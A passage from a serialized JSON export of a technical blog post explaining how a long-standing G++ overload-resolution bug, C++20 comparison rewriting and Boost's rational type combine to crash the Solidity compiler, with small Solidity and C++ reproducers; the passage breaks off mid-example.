,"props":100029,"children":100030},{},[100031,100032,100037],{"type":29,"value":14090},{"type":23,"tag":940,"props":100033,"children":100035},{"href":14093,"rel":100034},[944],[100036],{"type":29,"value":14097},{"type":29,"value":557},{"type":23,"tag":32,"props":100039,"children":100040},{},[100041,100042,100047],{"type":29,"value":14103},{"type":23,"tag":940,"props":100043,"children":100045},{"href":14106,"rel":100044},[944],[100046],{"type":29,"value":14110},{"type":29,"value":14112},{"type":23,"tag":24,"props":100049,"children":100050},{"id":14115},[100051],{"type":29,"value":14118},{"type":23,"tag":32,"props":100053,"children":100054},{},[100055],{"type":29,"value":14123},{"type":23,"tag":32,"props":100057,"children":100058},{},[100059],{"type":29,"value":14128},{"type":23,"tag":14130,"props":100061,"children":100062},{},[100063],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":100065},[100066,100067,100070,100073,100076,100079,100082,100085],{"id":26,"depth":100,"text":30},{"id":44,"depth":100,"text":47,"children":100068},[100069],{"id":925,"depth":121,"text":928},{"id":1559,"depth":100,"text":1562,"children":100071},[100072],{"id":2223,"depth":121,"text":928},{"id":2732,"depth":100,"text":2735,"children":100074},[100075],{"id":4059,"depth":121,"text":928},{"id":5436,"depth":100,"text":5439,"children":100077},[100078],{"id":5977,"depth":121,"text":928},{"id":7507,"depth":100,"text":7510,"children":100080},[100081],{"id":8392,"depth":121,"text":928},{"id":9351,"depth":100,"text":9354,"children":100083},[100084],{"id":13792,"depth":121,"text":928},{"id":14115,"depth":100,"text":14118},{"_path":100087,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":100088,"description":100089,"author":100090,"image":100091,"date":100093,"tags":100094,"isFeatured":15,"onBlogPage":15,"body":100095,"_type":14157,"_id":102804,"_source":14159,"_file":102805,"_stem":102806,"_extension":14162},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":100092,"height":14,"width":14},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[67,40208],{"type":20,"children":100096,"toc":102788},[100097,100102,100239,100244,100249,100254,100259,100372,100377,100382,100387,100427,100440,100445,100463,100468,100471,100477,100491,100504,100509,100522,100527,100539,100552,100557,100560,100566,100572,100629,100634,100640,100654,100689,100697,100705,100725,100731,100736,101176,101184,101228,101233,101241,101249,101288,101293,101301,101306,101309,101315,101321,101346,101358,101385,101418,101423,101426,101432,101451,101969,101982,102000,102023,102034,102039,102142,102147,102152,102166,102171,102247,102265,102270,102273,102279,102291,102303,102643,102648,102666,102671,102674,102680,102685,102703,102723,102726,102732,102751,102754,102758,102763,102774,102779,102784],{"type":23,"tag":32,"props":100098,"children":100099},{},[100100],{"type":29,"value":100101},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":23,"tag":64,"props":100103,"children":100105},{"code":100104,"language":67,"meta":7,"className":68,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[100106],{"type":23,"tag":71,"props":100107,"children":100108},{"__ignoreMap":7},[100109,100117,100135,100142,100159,100201,100225,100232],{"type":23,"tag":75,"props":100110,"children":100111},{"class":77,"line":78},[100112],{"type":23,"tag":75,"props":100113,"children":100114},{"style":3621},[100115],{"type":29,"value":100116},"// SPDX-License-Identifier: UNLICENSED\n",{"type":23,"tag":75,"props":100118,"children":100119},{"class":77,"line":100},[100120,100125,100130],{"type":23,"tag":75,"props":100121,"children":100122},{"style":175},[100123],{"type":29,"value":100124},"pragma",{"type":23,"tag":75,"props":100126,"children":100127},{"style":82},[100128],{"type":29,"value":100129}," solidity",{"type":23,"tag":75,"props":100131,"children":100132},{"style":94},[100133],{"type":29,"value":100134}," ^0.8.25;\n",{"type":23,"tag":75,"props":100136,"children":100137},{"class":77,"line":121},[100138],{"type":23,"tag":75,"props":100139,"children":100140},{"emptyLinePlaceholder":15},[100141],{"type":29,"value":276},{"type":23,"tag":75,"props":100143,"children":100144},{"class":77,"line":138},[100145,100150,100155],{"type":23,"tag":75,"props":100146,"children":100147},{"style":82},[100148],{"type":29,"value":100149},"contract",{"type":23,"tag":75,"props":100151,"children":100152},{"style":104},[100153],{"type":29,"value":100154}," A",{"type":23,"tag":75,"props":100156,"children":100157},{"style":94},[100158],{"type":29,"value":401},{"type":23,"tag":75,"props":100160,"children":100161},{"class":77,"line":161},[100162,100167,100172,100176,100180,100185,100189,100193,100197],{"type":23,"tag":75,"props":100163,"children":100164},{"style":82},[100165],{"type":29,"value":100166},"    function",{"type":23,"tag":75,"props":100168,"children":100169},{"style":88},[100170],{"type":29,"value":100171}," a",{"type":23,"tag":75,"props":100173,"children":100174},{"style":94},[100175],{"type":29,"value":2464},{"type":23,"tag":75,"props":100177,"children":100178},{"style":82},[100179],{"type":29,"value":172},{"type":23,"tag":75,"props":100181,"children":100182},{"style":82},[100183],{"type":29,"value":100184}," pure",{"type":23,"tag":75,"props":100186,"children":100187},{"style":175},[100188],{"type":29,"value":178},{"type":23,"tag":75,"props":100190,"children":100191},{"style":94},[100192],{"type":29,"value":183},{"type":23,"tag":75,"props":100194,"children":100195},{"style":104},[100196],{"type":29,"value":57360},{"type":23,"tag":75,"props":100198,"children":100199},{"style":94},[100200],{"type":29,"value":193},{"type":23,"tag":75,"props":100202,"children":100203},{"class":77,"line":196},[100204,100208,100212,100217,100221],{"type":23,"tag":75,"props":100205,"children":100206},{"style":175},[100207],{"type":29,"value":1388},{"type":23,"tag":75,"props":100209,"children":100210},{"style":237},[100211],{"type":29,"value":15795},{"type":23,"tag":75,"props":100213,"children":100214},{"style":209},[100215],{"type":29,"value":100216}," **",{"type":23,"tag":75,"props":100218,"children":100219},{"style":237},[100220],{"type":29,"value":19193},{"type":23,"tag":75,"props":100222,"children":100223},{"style":94},[100224],{"type":29,"value":245},{"type":23,"tag":75,"props":100226,"children":100227},{"class":77,"line":220},[100228],{"type":23,"tag":75,"props":100229,"children":100230},{"style":94},[100231],{"type":29,"value":346},{"type":23,"tag":75,"props":100233,"children":100234},{"class":77,"line":248},[100235],{"type":23,"tag":75,"props":100236,"children":100237},{"style":94},[100238],{"type":29,"value":369},{"type":23,"tag":32,"props":100240,"children":100241},{},[100242],{"type":29,"value":100243},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":23,"tag":32,"props":100245,"children":100246},{},[100247],{"type":29,"value":100248},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":23,"tag":32,"props":100250,"children":100251},{},[100252],{"type":29,"value":100253},"And yet, it crashes.",{"type":23,"tag":32,"props":100255,"children":100256},{},[100257],{"type":29,"value":100258},"Another minimal example?",{"type":23,"tag":64,"props":100260,"children":100262},{"code":100261,"language":67,"meta":7,"className":68,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[100263],{"type":23,"tag":71,"props":100264,"children":100265},{"__ignoreMap":7},[100266,100273,100288,100295,100310,100337,100358,100365],{"type":23,"tag":75,"props":100267,"children":100268},{"class":77,"line":78},[100269],{"type":23,"tag":75,"props":100270,"children":100271},{"style":3621},[100272],{"type":29,"value":100116},{"type":23,"tag":75,"props":100274,"children":100275},{"class":77,"line":100},[100276,100280,100284],{"type":23,"tag":75,"props":100277,"children":100278},{"style":175},[100279],{"type":29,"value":100124},{"type":23,"tag":75,"props":100281,"children":100282},{"style":82},[100283],{"type":29,"value":100129},{"type":23,"tag":75,"props":100285,"children":100286},{"style":94},[100287],{"type":29,"value":100134},{"type":23,"tag":75,"props":100289,"children":100290},{"class":77,"line":121},[100291],{"type":23,"tag":75,"props":100292,"children":100293},{"emptyLinePlaceholder":15},[100294],{"type":29,"value":276},{"type":23,"tag":75,"props":100296,"children":100297},{"class":77,"line":138},[100298,100302,100306],{"type":23,"tag":75,"props":100299,"children":100300},{"style":82},[100301],{"type":29,"value":100149},{"type":23,"tag":75,"props":100303,"children":100304},{"style":104},[100305],{"type":29,"value":100154},{"type":23,"tag":75,"props":100307,"children":100308},{"style":94},[100309],{"type":29,"value":401},{"type":23,"tag":75,"props":100311,"children":100312},{"class":77,"line":161},[100313,100317,100321,100325,100329,100333],{"type":23,"tag":75,"props":100314,"children":100315},{"style":82},[100316],{"type":29,"value":100166},{"type":23,"tag":75,"props":100318,"children":100319},{"style":88},[100320],{"type":29,"value":100171},{"type":23,"tag":75,"props":100322,"children":100323},{"style":94},[100324],{"type":29,"value":2464},{"type":23,"tag":75,"props":100326,"children":100327},{"style":82},[100328],{"type":29,"value":172},{"type":23,"tag":75,"props":100330,"children":100331},{"style":82},[100332],{"type":29,"value":100184},{"type":23,"tag":75,"props":100334,"children":100335},{"style":94},[100336],{"type":29,"value":401},{"type":23,"tag":75,"props":100338,"children":100339},{"class":77,"line":196},[100340,100345,100349,100353],{"type":23,"tag":75,"props":100341,"children":100342},{"style":104},[100343],{"type":29,"value":100344},"        uint256",{"type":23,"tag":75,"props":100346,"children":100347},{"style":94},[100348],{"type":29,"value":814},{"type":23,"tag":75,"props":100350,"children":100351},{"style":237},[100352],{"type":29,"value":7867},{"type":23,"tag":75,"props":100354,"children":100355},{"style":94},[100356],{"type":29,"value":100357},"] data;\n",{"type":23,"tag":75,"props":100359,"children":100360},{"class":77,"line":220},[100361],{"type":23,"tag":75,"props":100362,"children":100363},{"style":94},[100364],{"type":29,"value":346},{"type":23,"tag":75,"props":100366,"children":100367},{"class":77,"line":248},[100368],{"type":23,"tag":75,"props":100369,"children":100370},{"style":94},[100371],{"type":29,"value":369},{"type":23,"tag":32,"props":100373,"children":100374},{},[100375],{"type":29,"value":100376},"Still crashes.",{"type":23,"tag":32,"props":100378,"children":100379},{},[100380],{"type":29,"value":100381},"So what’s going on?",{"type":23,"tag":32,"props":100383,"children":100384},{},[100385],{"type":29,"value":100386},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":23,"tag":64,"props":100388,"children":100390},{"code":100389,"language":40308,"meta":7,"className":40306,"style":7},"if (*lengthValue == 0) { ... }\n",[100391],{"type":23,"tag":71,"props":100392,"children":100393},{"__ignoreMap":7},[100394],{"type":23,"tag":75,"props":100395,"children":100396},{"class":77,"line":78},[100397,100401,100405,100409,100414,100418,100422],{"type":23,"tag":75,"props":100398,"children":100399},{"style":175},[100400],{"type":29,"value":26807},{"type":23,"tag":75,"props":100402,"children":100403},{"style":94},[100404],{"type":29,"value":183},{"type":23,"tag":75,"props":100406,"children":100407},{"style":209},[100408],{"type":29,"value":601},{"type":23,"tag":75,"props":100410,"children":100411},{"style":94},[100412],{"type":29,"value":100413},"lengthValue ",{"type":23,"tag":75,"props":100415,"children":100416},{"style":209},[100417],{"type":29,"value":2469},{"type":23,"tag":75,"props":100419,"children":100420},{"style":237},[100421],{"type":29,"value":240},{"type":23,"tag":75,"props":100423,"children":100424},{"style":94},[100425],{"type":29,"value":100426},") { ... }\n",{"type":23,"tag":32,"props":100428,"children":100429},{},[100430,100432,100438],{"type":29,"value":100431},"That single comparison — a ",{"type":23,"tag":71,"props":100433,"children":100435},{"className":100434},[],[100436],{"type":29,"value":100437},"boost::rational",{"type":29,"value":100439}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":23,"tag":32,"props":100441,"children":100442},{},[100443],{"type":29,"value":100444},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":23,"tag":27910,"props":100446,"children":100447},{},[100448,100453,100458],{"type":23,"tag":2801,"props":100449,"children":100450},{},[100451],{"type":29,"value":100452},"A 12-year-old overload resolution bug in G++",{"type":23,"tag":2801,"props":100454,"children":100455},{},[100456],{"type":29,"value":100457},"An outdated symmetric comparison pattern in Boost",{"type":23,"tag":2801,"props":100459,"children":100460},{},[100461],{"type":29,"value":100462},"A subtle but impactful rewrite rule in C++20",{"type":23,"tag":32,"props":100464,"children":100465},{},[100466],{"type":29,"value":100467},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":23,"tag":30016,"props":100469,"children":100470},{},[],{"type":23,"tag":24,"props":100472,"children":100474},{"id":100473},"background-the-setup",[100475],{"type":29,"value":100476},"Background: The Setup",{"type":23,"tag":32,"props":100478,"children":100479},{},[100480,100482,100489],{"type":29,"value":100481},"If you follow the ",{"type":23,"tag":940,"props":100483,"children":100486},{"href":100484,"rel":100485},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[944],[100487],{"type":29,"value":100488},"Solidity build documentation (v0.8.30)",{"type":29,"value":100490},", you'll see it recommends:",{"type":23,"tag":27910,"props":100492,"children":100493},{},[100494,100499],{"type":23,"tag":2801,"props":100495,"children":100496},{},[100497],{"type":29,"value":100498},"Boost ≥ 1.67",{"type":23,"tag":2801,"props":100500,"children":100501},{},[100502],{"type":29,"value":100503},"GCC ≥ 11",{"type":23,"tag":32,"props":100505,"children":100506},{},[100507],{"type":29,"value":100508},"Ubuntu 22.04, for example, ships with:",{"type":23,"tag":27910,"props":100510,"children":100511},{},[100512,100517],{"type":23,"tag":2801,"props":100513,"children":100514},{},[100515],{"type":29,"value":100516},"G++ 11.4.0",{"type":23,"tag":2801,"props":100518,"children":100519},{},[100520],{"type":29,"value":100521},"Boost 1.74.0",{"type":23,"tag":32,"props":100523,"children":100524},{},[100525],{"type":29,"value":100526},"So far, so good.",{"type":23,"tag":32,"props":100528,"children":100529},{},[100530,100532,100537],{"type":29,"value":100531},"However, Solidity enabled ",{"type":23,"tag":16596,"props":100533,"children":100534},{},[100535],{"type":29,"value":100536},"C++20",{"type":29,"value":100538}," in January 2025:",{"type":23,"tag":1829,"props":100540,"children":100541},{},[100542],{"type":23,"tag":32,"props":100543,"children":100544},{},[100545],{"type":23,"tag":940,"props":100546,"children":100549},{"href":100547,"rel":100548},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[944],[100550],{"type":29,"value":100551},"Enable C++20 in Solidity",{"type":23,"tag":32,"props":100553,"children":100554},{},[100555],{"type":29,"value":100556},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":23,"tag":30016,"props":100558,"children":100559},{},[],{"type":23,"tag":24,"props":100561,"children":100563},{"id":100562},"part-i-a-12-year-old-g-bug-in-overload-resolution",[100564],{"type":29,"value":100565},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":23,"tag":923,"props":100567,"children":100569},{"id":100568},"whats-overload-resolution",[100570],{"type":29,"value":100571},"What’s Overload Resolution?",{"type":23,"tag":32,"props":100573,"children":100574},{},[100575,100577,100583,100585,100591,100593,100598,100600,100605,100607,100613,100615,100620,100621,100627],{"type":29,"value":100576},"In C++, when you write an expression like ",{"type":23,"tag":71,"props":100578,"children":100580},{"className":100579},[],[100581],{"type":29,"value":100582},"a == b",{"type":29,"value":100584},", the compiler chooses among available ",{"type":23,"tag":71,"props":100586,"children":100588},{"className":100587},[],[100589],{"type":29,"value":100590},"operator==",{"type":29,"value":100592}," implementations by comparing their ",{"type":23,"tag":16596,"props":100594,"children":100595},{},[100596],{"type":29,"value":100597},"match quality",{"type":29,"value":100599},". A ",{"type":23,"tag":16596,"props":100601,"children":100602},{},[100603],{"type":29,"value":100604},"member function",{"type":29,"value":100606}," like ",{"type":23,"tag":71,"props":100608,"children":100610},{"className":100609},[],[100611],{"type":29,"value":100612},"a.operator==(b)",{"type":29,"value":100614}," usually has higher priority than a ",{"type":23,"tag":16596,"props":100616,"children":100617},{},[100618],{"type":29,"value":100619},"non-member function",{"type":29,"value":100606},{"type":23,"tag":71,"props":100622,"children":100624},{"className":100623},[],[100625],{"type":29,"value":100626},"operator==(a, b)",{"type":29,"value":100628}," — unless the types differ too much or are ambiguous.",{"type":23,"tag":32,"props":100630,"children":100631},{},[100632],{"type":29,"value":100633},"That’s the rule. But G++ didn’t always follow it.",{"type":23,"tag":923,"props":100635,"children":100637},{"id":100636},"the-bug",[100638],{"type":29,"value":100639},"The Bug",{"type":23,"tag":32,"props":100641,"children":100642},{},[100643,100645,100652],{"type":29,"value":100644},"In 2012, a bug was filed: ",{"type":23,"tag":940,"props":100646,"children":100649},{"href":100647,"rel":100648},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[944],[100650],{"type":29,"value":100651},"GCC Bug 53499 – overload resolution favors non-member function",{"type":29,"value":100653},". The issue? In expressions where:",{"type":23,"tag":27910,"props":100655,"children":100656},{},[100657,100677],{"type":23,"tag":2801,"props":100658,"children":100659},{},[100660,100662,100668,100670,100675],{"type":29,"value":100661},"A class ",{"type":23,"tag":71,"props":100663,"children":100665},{"className":100664},[],[100666],{"type":29,"value":100667},"rational\u003CT>",{"type":29,"value":100669}," has a templated ",{"type":23,"tag":71,"props":100671,"children":100673},{"className":100672},[],[100674],{"type":29,"value":100590},{"type":29,"value":100676}," member function",{"type":23,"tag":2801,"props":100678,"children":100679},{},[100680,100682,100688],{"type":29,"value":100681},"There's also a more generic free ",{"type":23,"tag":71,"props":100683,"children":100685},{"className":100684},[],[100686],{"type":29,"value":100687},"operator==(rational\u003CT>, U)",{"type":29,"value":49405},{"type":23,"tag":32,"props":100690,"children":100691},{},[100692],{"type":23,"tag":16596,"props":100693,"children":100694},{},[100695],{"type":29,"value":100696},"Clang correctly chooses the member function.",{"type":23,"tag":32,"props":100698,"children":100699},{},[100700],{"type":23,"tag":16596,"props":100701,"children":100702},{},[100703],{"type":29,"value":100704},"G++ (before v14) chooses the non-member function.",{"type":23,"tag":32,"props":100706,"children":100707},{},[100708,100710,100715,100717,100724],{"type":29,"value":100709},"Why? Because G++ mishandles ",{"type":23,"tag":16596,"props":100711,"children":100712},{},[100713],{"type":29,"value":100714},"templated conversion + non-exact match",{"type":29,"value":100716},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":23,"tag":940,"props":100718,"children":100721},{"href":100719,"rel":100720},"https://cplusplus.github.io/CWG/issues/532.html",[944],[100722],{"type":29,"value":100723},"CWG532: Member/nonmember operator template partial ordering",{"type":29,"value":557},{"type":23,"tag":923,"props":100726,"children":100728},{"id":100727},"a-minimal-reproducer",[100729],{"type":29,"value":100730},"A Minimal Reproducer",{"type":23,"tag":32,"props":100732,"children":100733},{},[100734],{"type":29,"value":100735},"Let’s see this in action:",{"type":23,"tag":64,"props":100737,"children":100739},{"code":100738,"language":40308,"meta":7,"className":40306,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[100740],{"type":23,"tag":71,"props":100741,"children":100742},{"__ignoreMap":7},[100743,100756,100763,100788,100804,100812,100836,100881,100909,100924,100931,100938,100945,100981,101050,101075,101090,101097,101104,101120,101145,101169],{"type":23,"tag":75,"props":100744,"children":100745},{"class":77,"line":78},[100746,100751],{"type":23,"tag":75,"props":100747,"children":100748},{"style":175},[100749],{"type":29,"value":100750},"#include",{"type":23,"tag":75,"props":100752,"children":100753},{"style":1266},[100754],{"type":29,"value":100755}," \u003Ciostream>\n",{"type":23,"tag":75,"props":100757,"children":100758},{"class":77,"line":100},[100759],{"type":23,"tag":75,"props":100760,"children":100761},{"emptyLinePlaceholder":15},[100762],{"type":29,"value":276},{"type":23,"tag":75,"props":100764,"children":100765},{"class":77,"line":121},[100766,100770,100774,100779,100784],{"type":23,"tag":75,"props":100767,"children":100768},{"style":82},[100769],{"type":29,"value":77393},{"type":23,"tag":75,"props":100771,"children":100772},{"style":94},[100773],{"type":29,"value":749},{"type":23,"tag":75,"props":100775,"children":100776},{"style":82},[100777],{"type":29,"value":100778},"typename",{"type":23,"tag":75,"props":100780,"children":100781},{"style":104},[100782],{"type":29,"value":100783}," IntType",{"type":23,"tag":75,"props":100785,"children":100786},{"style":94},[100787],{"type":29,"value":17260},{"type":23,"tag":75,"props":100789,"children":100790},{"class":77,"line":138},[100791,100795,100800],{"type":23,"tag":75,"props":100792,"children":100793},{"style":82},[100794],{"type":29,"value":81582},{"type":23,"tag":75,"props":100796,"children":100797},{"style":104},[100798],{"type":29,"value":100799}," rational",{"type":23,"tag":75,"props":100801,"children":100802},{"style":94},[100803],{"type":29,"value":401},{"type":23,"tag":75,"props":100805,"children":100806},{"class":77,"line":161},[100807],{"type":23,"tag":75,"props":100808,"children":100809},{"style":82},[100810],{"type":29,"value":100811},"public:\n",{"type":23,"tag":75,"props":100813,"children":100814},{"class":77,"line":196},[100815,100820,100824,100828,100832],{"type":23,"tag":75,"props":100816,"children":100817},{"style":82},[100818],{"type":29,"value":100819},"    template",{"type":23,"tag":75,"props":100821,"children":100822},{"style":94},[100823],{"type":29,"value":749},{"type":23,"tag":75,"props":100825,"children":100826},{"style":82},[100827],{"type":29,"value":81582},{"type":23,"tag":75,"props":100829,"children":100830},{"style":104},[100831],{"type":29,"value":17188},{"type":23,"tag":75,"props":100833,"children":100834},{"style":94},[100835],{"type":29,"value":17260},{"type":23,"tag":75,"props":100837,"children":100838},{"class":77,"line":220},[100839,100843,100848,100853,100857,100861,100865,100869,100873,100877],{"type":23,"tag":75,"props":100840,"children":100841},{"style":82},[100842],{"type":29,"value":57665},{"type":23,"tag":75,"props":100844,"children":100845},{"style":82},[100846],{"type":29,"value":100847}," operator",{"type":23,"tag":75,"props":100849,"children":100850},{"style":94},[100851],{"type":29,"value":100852},"==(",{"type":23,"tag":75,"props":100854,"children":100855},{"style":82},[100856],{"type":29,"value":2869},{"type":23,"tag":75,"props":100858,"children":100859},{"style":104},[100860],{"type":29,"value":17188},{"type":23,"tag":75,"props":100862,"children":100863},{"style":82},[100864],{"type":29,"value":1277},{"type":23,"tag":75,"props":100866,"children":100867},{"style":110},[100868],{"type":29,"value":3261},{"type":23,"tag":75,"props":100870,"children":100871},{"style":94},[100872],{"type":29,"value":167},{"type":23,"tag":75,"props":100874,"children":100875},{"style":82},[100876],{"type":29,"value":2869},{"type":23,"tag":75,"props":100878,"children":100879},{"style":94},[100880],{"type":29,"value":401},{"type":23,"tag":75,"props":100882,"children":100883},{"class":77,"line":248},[100884,100889,100894,100899,100904],{"type":23,"tag":75,"props":100885,"children":100886},{"style":94},[100887],{"type":29,"value":100888},"        std::cout ",{"type":23,"tag":75,"props":100890,"children":100891},{"style":209},[100892],{"type":29,"value":100893},"\u003C\u003C",{"type":23,"tag":75,"props":100895,"children":100896},{"style":1266},[100897],{"type":29,"value":100898}," \"clang++ resolved member\"",{"type":23,"tag":75,"props":100900,"children":100901},{"style":209},[100902],{"type":29,"value":100903}," \u003C\u003C",{"type":23,"tag":75,"props":100905,"children":100906},{"style":94},[100907],{"type":29,"value":100908}," std::endl;\n",{"type":23,"tag":75,"props":100910,"children":100911},{"class":77,"line":270},[100912,100916,100920],{"type":23,"tag":75,"props":100913,"children":100914},{"style":175},[100915],{"type":29,"value":1388},{"type":23,"tag":75,"props":100917,"children":100918},{"style":82},[100919],{"type":29,"value":23713},{"type":23,"tag":75,"props":100921,"children":100922},{"style":94},[100923],{"type":29,"value":245},{"type":23,"tag":75,"props":100925,"children":100926},{"class":77,"line":279},[100927],{"type":23,"tag":75,"props":100928,"children":100929},{"style":94},[100930],{"type":29,"value":346},{"type":23,"tag":75,"props":100932,"children":100933},{"class":77,"line":303},[100934],{"type":23,"tag":75,"props":100935,"children":100936},{"style":94},[100937],{"type":29,"value":27801},{"type":23,"tag":75,"props":100939,"children":100940},{"class":77,"line":322},[100941],{"type":23,"tag":75,"props":100942,"children":100943},{"emptyLinePlaceholder":15},[100944],{"type":29,"value":276},{"type":23,"tag":75,"props":100946,"children":100947},{"class":77,"line":340},[100948,100952,100956,100960,100965,100969,100973,100977],{"type":23,"tag":75,"props":100949,"children":100950},{"style":82},[100951],{"type":29,"value":77393},{"type":23,"tag":75,"props":100953,"children":100954},{"style":94},[100955],{"type":29,"value":749},{"type":23,"tag":75,"props":100957,"children":100958},{"style":82},[100959],{"type":29,"value":81582},{"type":23,"tag":75,"props":100961,"children":100962},{"style":104},[100963],{"type":29,"value":100964}," Arg",{"type":23,"tag":75,"props":100966,"children":100967},{"style":94},[100968],{"type":29,"value":611},{"type":23,"tag":75,"props":100970,"children":100971},{"style":82},[100972],{"type":29,"value":81582},{"type":23,"tag":75,"props":100974,"children":100975},{"style":104},[100976],{"type":29,"value":100783},{"type":23,"tag":75,"props":100978,"children":100979},{"style":94},[100980],{"type":29,"value":17260},{"type":23,"tag":75,"props":100982,"children":100983},{"class":77,"line":349},[100984,100988,100992,100996,101000,101004,101008,101013,101017,101021,101025,101029,101033,101037,101041,101046],{"type":23,"tag":75,"props":100985,"children":100986},{"style":82},[100987],{"type":29,"value":40881},{"type":23,"tag":75,"props":100989,"children":100990},{"style":82},[100991],{"type":29,"value":100847},{"type":23,"tag":75,"props":100993,"children":100994},{"style":94},[100995],{"type":29,"value":100852},{"type":23,"tag":75,"props":100997,"children":100998},{"style":82},[100999],{"type":29,"value":2869},{"type":23,"tag":75,"props":101001,"children":101002},{"style":104},[101003],{"type":29,"value":100799},{"type":23,"tag":75,"props":101005,"children":101006},{"style":94},[101007],{"type":29,"value":295},{"type":23,"tag":75,"props":101009,"children":101010},{"style":104},[101011],{"type":29,"value":101012},"IntType",{"type":23,"tag":75,"props":101014,"children":101015},{"style":94},[101016],{"type":29,"value":4652},{"type":23,"tag":75,"props":101018,"children":101019},{"style":82},[101020],{"type":29,"value":1277},{"type":23,"tag":75,"props":101022,"children":101023},{"style":110},[101024],{"type":29,"value":100171},{"type":23,"tag":75,"props":101026,"children":101027},{"style":94},[101028],{"type":29,"value":611},{"type":23,"tag":75,"props":101030,"children":101031},{"style":82},[101032],{"type":29,"value":2869},{"type":23,"tag":75,"props":101034,"children":101035},{"style":104},[101036],{"type":29,"value":100964},{"type":23,"tag":75,"props":101038,"children":101039},{"style":82},[101040],{"type":29,"value":1277},{"type":23,"tag":75,"props":101042,"children":101043},{"style":110},[101044],{"type":29,"value":101045}," b",{"type":23,"tag":75,"props":101047,"children":101048},{"style":94},[101049],{"type":29,"value":193},{"type":23,"tag":75,"props":101051,"children":101052},{"class":77,"line":363},[101053,101058,101062,101067,101071],{"type":23,"tag":75,"props":101054,"children":101055},{"style":94},[101056],{"type":29,"value":101057},"    std::cout ",{"type":23,"tag":75,"props":101059,"children":101060},{"style":209},[101061],{"type":29,"value":100893},{"type":23,"tag":75,"props":101063,"children":101064},{"style":1266},[101065],{"type":29,"value":101066}," \"g++ \u003C14 resolved non-member\"",{"type":23,"tag":75,"props":101068,"children":101069},{"style":209},[101070],{"type":29,"value":100903},{"type":23,"tag":75,"props":101072,"children":101073},{"style":94},[101074],{"type":29,"value":100908},{"type":23,"tag":75,"props":101076,"children":101077},{"class":77,"line":656},[101078,101082,101086],{"type":23,"tag":75,"props":101079,"children":101080},{"style":175},[101081],{"type":29,"value":355},{"type":23,"tag":75,"props":101083,"children":101084},{"style":82},[101085],{"type":29,"value":20313},{"type":23,"tag":75,"props":101087,"children":101088},{"style":94},[101089],{"type":29,"value":245},{"type":23,"tag":75,"props":101091,"children":101092},{"class":77,"line":705},[101093],{"type":23,"tag":75,"props":101094,"children":101095},{"style":94},[101096],{"type":29,"value":369},{"type":23,"tag":75,"props":101098,"children":101099},{"class":77,"line":787},[101100],{"type":23,"tag":75,"props":101101,"children":101102},{"emptyLinePlaceholder":15},[101103],{"type":29,"value":276},{"type":23,"tag":75,"props":101105,"children":101106},{"class":77,"line":826},[101107,101111,101116],{"type":23,"tag":75,"props":101108,"children":101109},{"style":82},[101110],{"type":29,"value":30270},{"type":23,"tag":75,"props":101112,"children":101113},{"style":88},[101114],{"type":29,"value":101115}," main",{"type":23,"tag":75,"props":101117,"children":101118},{"style":94},[101119],{"type":29,"value":12966},{"type":23,"tag":75,"props":101121,"children":101122},{"class":77,"line":834},[101123,101128,101132,101136,101140],{"type":23,"tag":75,"props":101124,"children":101125},{"style":94},[101126],{"type":29,"value":101127},"    rational",{"type":23,"tag":75,"props":101129,"children":101130},{"style":209},[101131],{"type":29,"value":295},{"type":23,"tag":75,"props":101133,"children":101134},{"style":82},[101135],{"type":29,"value":30270},{"type":23,"tag":75,"props":101137,"children":101138},{"style":209},[101139],{"type":29,"value":4652},{"type":23,"tag":75,"props":101141,"children":101142},{"style":94},[101143],{"type":29,"value":101144}," r;\n",{"type":23,"tag":75,"props":101146,"children":101147},{"class":77,"line":881},[101148,101152,101157,101161,101165],{"type":23,"tag":75,"props":101149,"children":101150},{"style":175},[101151],{"type":29,"value":355},{"type":23,"tag":75,"props":101153,"children":101154},{"style":94},[101155],{"type":29,"value":101156}," r 